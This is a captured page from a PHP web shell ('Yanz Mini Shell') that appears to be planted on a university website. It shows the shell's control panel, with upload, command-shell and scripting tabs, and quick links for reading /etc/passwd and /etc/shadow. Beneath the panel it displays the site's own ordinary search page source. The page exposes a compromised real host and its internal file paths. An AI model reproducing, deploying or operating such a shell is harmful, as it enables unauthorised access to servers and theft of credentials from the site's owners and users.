Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // pages/search.php — Pencarian global website require_once __DIR__ . '/../config/config.php'; $q = trim($_GET['q'] ?? ''); $results = ['dosen' => [], 'berita' => [], 'pages' => []]; $total = 0; if (mb_strlen($q) >= 2) { $like = '%' . $q . '%'; // Cari dosen $stmt = $conn->prepare("SELECT id, slug, nama, gelar_depan, gelar_belakang, foto, jabatan_fungsional FROM dosen WHERE is_active = 1 AND (nama LIKE ? OR minat_penelitian LIKE ? OR gugus_riset LIKE ?) ORDER BY nama LIMIT 10"); $stmt->bind_param("sss", $like, $like, $like); $stmt->execute(); $results['dosen'] = $stmt->get_result()->fetch_all(MYSQLI_ASSOC); // Cari berita $stmt = $conn->prepare("SELECT id, title, image, date_posted, LEFT(content, 200) AS excerpt FROM news WHERE (title LIKE ? OR content LIKE ?) ORDER BY date_posted DESC LIMIT 10"); $stmt->bind_param("ss", $like, $like); $stmt->execute(); $results['berita'] = $stmt->get_result()->fetch_all(MYSQLI_ASSOC); // Cari halaman $stmt = $conn->prepare("SELECT id, slug, title, LEFT(content, 200) AS excerpt FROM pages WHERE is_active = 1 AND (title LIKE ? OR content LIKE ?) ORDER BY title LIMIT 10"); $stmt->bind_param("ss", $like, $like); $stmt->execute(); $results['pages'] = $stmt->get_result()->fetch_all(MYSQLI_ASSOC); $total = count($results['dosen']) + count($results['berita']) + count($results['pages']); } $page_title = ($q ? "Pencarian: $q" : 'Pencarian') . ' - ' . setting('site_name'); $meta_description = "Hasil pencarian untuk: $q"; include __DIR__ . '/../includes/header.php'; ?> <div class="page-hero" style="background: linear-gradient(135deg, #0a2b3e, #115277); color: white; padding: 60px 0 40px;"> <div class="container"> <h1 style="font-family: 'Poppins', sans-serif; font-size: 2rem; font-weight: 800;"> <?php if ($q): ?> Hasil Pencarian: "<?= htmlspecialchars($q) ?>" <?php else: ?> Pencarian <?php endif; ?> </h1> <form method="GET" action="" style="margin-top: 24px; max-width: 600px;"> <div style="display: flex; gap: 10px;"> <input type="text" name="q" value="<?= htmlspecialchars($q) ?>" placeholder="Cari dosen, berita, halaman..." style="flex: 1; padding: 14px 20px; border: none; border-radius: 12px; font-size: 1rem;" autofocus> <button type="submit" style="background: #fff000; color: #0a2b3e; border: none; padding: 14px 28px; border-radius: 12px; font-weight: 700; cursor: pointer;"> <i class="fas fa-search"></i> Cari </button> </div> </form> <?php if ($q): ?> <p style="margin-top: 16px; opacity: 0.85;">Ditemukan <strong><?= $total ?></strong> hasil</p> <?php endif; ?> </div> </div> <div class="container" style="padding: 40px 20px;"> <?php if (!$q): ?> <div style="text-align: center; color: #6b7280; padding: 60px 20px;"> <i class="fas fa-search" style="font-size: 3rem; opacity: 0.3;"></i> <p style="margin-top: 16px;">Masukkan kata kunci di atas untuk mulai mencari.</p> </div> <?php elseif ($total === 0): ?> <div style="text-align: center; color: #6b7280; padding: 60px 20px; background: white; border-radius: 16px;"> <i class="fas fa-search-minus" style="font-size: 3rem; opacity: 0.3;"></i> <p style="margin-top: 16px;">Tidak ada hasil untuk "<strong><?= htmlspecialchars($q) ?></strong>"</p> <p style="font-size: 0.9rem; margin-top: 8px;">Coba gunakan kata kunci lain atau lebih umum.</p> </div> <?php else: ?> <?php if (!empty($results['dosen'])): ?> <h2 style="font-family: 'Poppins', sans-serif; font-size: 1.4rem; font-weight: 700; color: #0a2b3e; margin: 20px 0 16px; padding-left: 12px; border-left: 4px solid #00bfff;"> <i class="fas fa-user-tie"></i> Dosen (<?= count($results['dosen']) ?>) </h2> <div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 16px; margin-bottom: 36px;"> <?php foreach ($results['dosen'] as $d): $foto = !empty($d['foto']) && file_exists(__DIR__ . '/../upload/dosen/' . $d['foto']) ? $base_url . '/upload/dosen/' . htmlspecialchars($d['foto']) : 'https://ui-avatars.com/api/?name=' . urlencode($d['nama']); $nama = trim(($d['gelar_depan'] ? $d['gelar_depan'] . ' ' : '') . $d['nama'] . ($d['gelar_belakang'] ? ', ' . $d['gelar_belakang'] : '')); ?> <a href="<?= $base_url ?>/pages/dosen.php?slug=<?= urlencode($d['slug']) ?>" style="background: white; border-radius: 16px; padding: 16px; display: flex; gap: 14px; text-decoration: none; color: inherit; box-shadow: 0 2px 8px rgba(0,0,0,0.05);"> <img src="<?= $foto ?>" style="width: 60px; height: 60px; border-radius: 10px; object-fit: cover;"> <div> <div style="font-weight: 600; color: #0a2b3e; font-size: 0.95rem;"><?= htmlspecialchars($nama) ?></div> <div style="font-size: 0.8rem; color: #6b7280;"><?= htmlspecialchars($d['jabatan_fungsional'] ?: '—') ?></div> </div> </a> <?php endforeach; ?> </div> <?php endif; ?> <?php if (!empty($results['berita'])): ?> <h2 style="font-family: 'Poppins', sans-serif; font-size: 1.4rem; font-weight: 700; color: #0a2b3e; margin: 20px 0 16px; padding-left: 12px; border-left: 4px solid #00bfff;"> <i class="fas fa-newspaper"></i> Berita (<?= count($results['berita']) ?>) </h2> <div style="display: grid; grid-template-columns: 1fr; gap: 14px; margin-bottom: 36px;"> <?php foreach ($results['berita'] as $b): ?> <a href="<?= $base_url ?>/pages/detail-berita.php?id=<?= (int)$b['id'] ?>" style="background: white; border-radius: 12px; padding: 18px; display: block; text-decoration: none; color: inherit; box-shadow: 0 2px 6px rgba(0,0,0,0.04);"> <h3 style="font-family: 'Poppins', sans-serif; font-size: 1.05rem; font-weight: 600; color: #0a2b3e; margin: 0 0 6px;"><?= htmlspecialchars($b['title']) ?></h3> <p style="font-size: 0.85rem; color: #6b7280; margin: 0 0 6px; line-height: 1.5;"><?= htmlspecialchars(mb_strimwidth(strip_tags($b['excerpt']), 0, 180, '...')) ?></p> <p style="font-size: 0.75rem; color: #94a3b8; margin: 0;"><i class="far fa-calendar"></i> <?= date('d M Y', strtotime($b['date_posted'])) ?></p> </a> <?php endforeach; ?> </div> <?php endif; ?> <?php if (!empty($results['pages'])): ?> <h2 style="font-family: 'Poppins', sans-serif; font-size: 1.4rem; font-weight: 700; color: #0a2b3e; margin: 20px 0 16px; padding-left: 12px; border-left: 4px solid #00bfff;"> <i class="fas fa-file-alt"></i> Halaman (<?= count($results['pages']) ?>) </h2> <div style="display: grid; grid-template-columns: 1fr; gap: 14px;"> <?php foreach ($results['pages'] as $p): ?> <a href="<?= $base_url ?>/pages/page.php?slug=<?= urlencode($p['slug']) ?>" style="background: white; border-radius: 12px; padding: 18px; display: block; text-decoration: none; color: inherit; box-shadow: 0 2px 6px rgba(0,0,0,0.04);"> <h3 style="font-family: 'Poppins', sans-serif; font-size: 1.05rem; font-weight: 600; color: #0a2b3e; margin: 0 0 6px;"><?= htmlspecialchars($p['title']) ?></h3> <p style="font-size: 0.85rem; color: #6b7280; margin: 0; line-height: 1.5;"><?= htmlspecialchars(mb_strimwidth(strip_tags($p['excerpt']), 0, 200, '...')) ?></p> </a> <?php endforeach; ?> </div> <?php endif; ?> <?php endif; ?> </div> <?php include __DIR__ . '/../includes/footer.php'; ?>
Free Space : 55487885312 Byte